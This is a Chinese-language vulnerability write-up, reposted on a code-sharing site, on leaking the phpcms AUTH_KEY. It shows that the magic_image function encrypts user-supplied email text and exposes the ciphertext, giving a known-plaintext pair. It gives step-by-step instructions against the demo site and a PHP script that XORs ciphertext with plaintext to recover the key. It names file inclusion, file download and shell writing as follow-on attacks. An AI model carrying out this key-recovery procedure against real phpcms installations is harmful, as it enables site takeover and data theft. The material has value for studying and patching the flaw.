phpcms的另一個phpcms_auth函數的加密密鑰AUTH_KEY泄漏漏洞


phpcms的另一個phpcms_auth函數的加密密鑰AUTH_KEY泄漏漏洞

phpcms的phpcms_auth函數的加密密鑰AUTH_KEY泄漏會導致本地包含任意文件下載等多個漏洞。

而對phpcms2008有的本地包含又可以導致直接寫shell和刪除文件。所以泄漏了phpcms的phpcms_auth函數的加密密鑰AUTH_KEY就可能直接導致被秒殺。

已經說明了兩個破解"phpcms_auth函數的加密密鑰AUTH_KEY"的方法,但是還不是很理想,最理想的是直接給我們足夠的明文和密文。

是的開放的phpcms真的給我們這樣的了,沒有保留。



上一篇說到"破解了這個函數之后,一方面反而更加不安全了,另一方面所有建立在這個函數之上的機制可能都會受到攻擊。"

其實一切建立在這個函數上的代碼都可能給我們機會破解這個密鑰。

來看magic_image函數,主要作用就是將字符串生成一個圖片,這樣做應該是為了防止別人采集網站上的數據,或者是防止泄漏隱私。

// include global.fun.php



function magic_image($txt, $fonttype = 4)

{

    if(empty($txt)) return false;

    if(function_exists("imagepng"))

    {

        $txt = urlencode(phpcms_auth($txt, 'ENCODE', AUTH_KEY));

        $txt = '<img src="'.PHPCMS_PATH.'magic_image.php?gd=1&fonttype='.$fonttype.'&txt='.$txt.'" align="absmiddle">';

    }

    return $txt;

}

在招聘、供求信息、跳蚤市場等多個功能模塊都用到了這個函數。而且像供求信息、跳蚤市場貌似普通注冊用戶就能發貼。

發貼的時候在電話號碼或郵箱那的字符就會被magic_image函數加密,顯示給用戶的時候又會調用magic_image.php文件,對字符串解密並進行生成圖片。

就是說:

我們可以自定義明文

並且我們也可以得到明文加密后的密文


這就意味這我們可以得到全部密文(只要電話或郵箱的長度大於20位即可),不費什么力氣。


舉例說明

1.在http://demo.phpcms.cn隨便注冊個普通用戶會員

2.在跳蚤市場那

http://demo.phpcms.cn/info/sale/

隨便點開一個信息頁點右側的 【免費發布信息】 http://demo.phpcms.cn/contribute.php?catid=22

隨便發一條信息

使用郵箱為

xxxxx@gmail.com

3.最后找到我們發布的信息:

http://demo.phpcms.cn/2011/0405/366.html

查看郵箱圖片的地址

http://demo.phpcms.cn/magic_image.php?gd=1&fonttype=4&txt=ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D

--------------------

好了

明文:xxxxx@gmail.com

密文:ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D



解密一下:

<?php

$key="xxxxx@gmail.com";

$txt='ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D';

$txt=base64_decode(urldecode($txt));



for($i=0;$i<strlen($key);$i++)

{

        $code  .= $txt[$i] ^ $key[$i];

}

echo $code;



?>

運行結果:

$ php /var/www/vul.php

OXdcFVodxAcbCUeTgLBgOXdc



我們的密鑰就是:

OXdcFVodxAcbCUeTgLBg


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM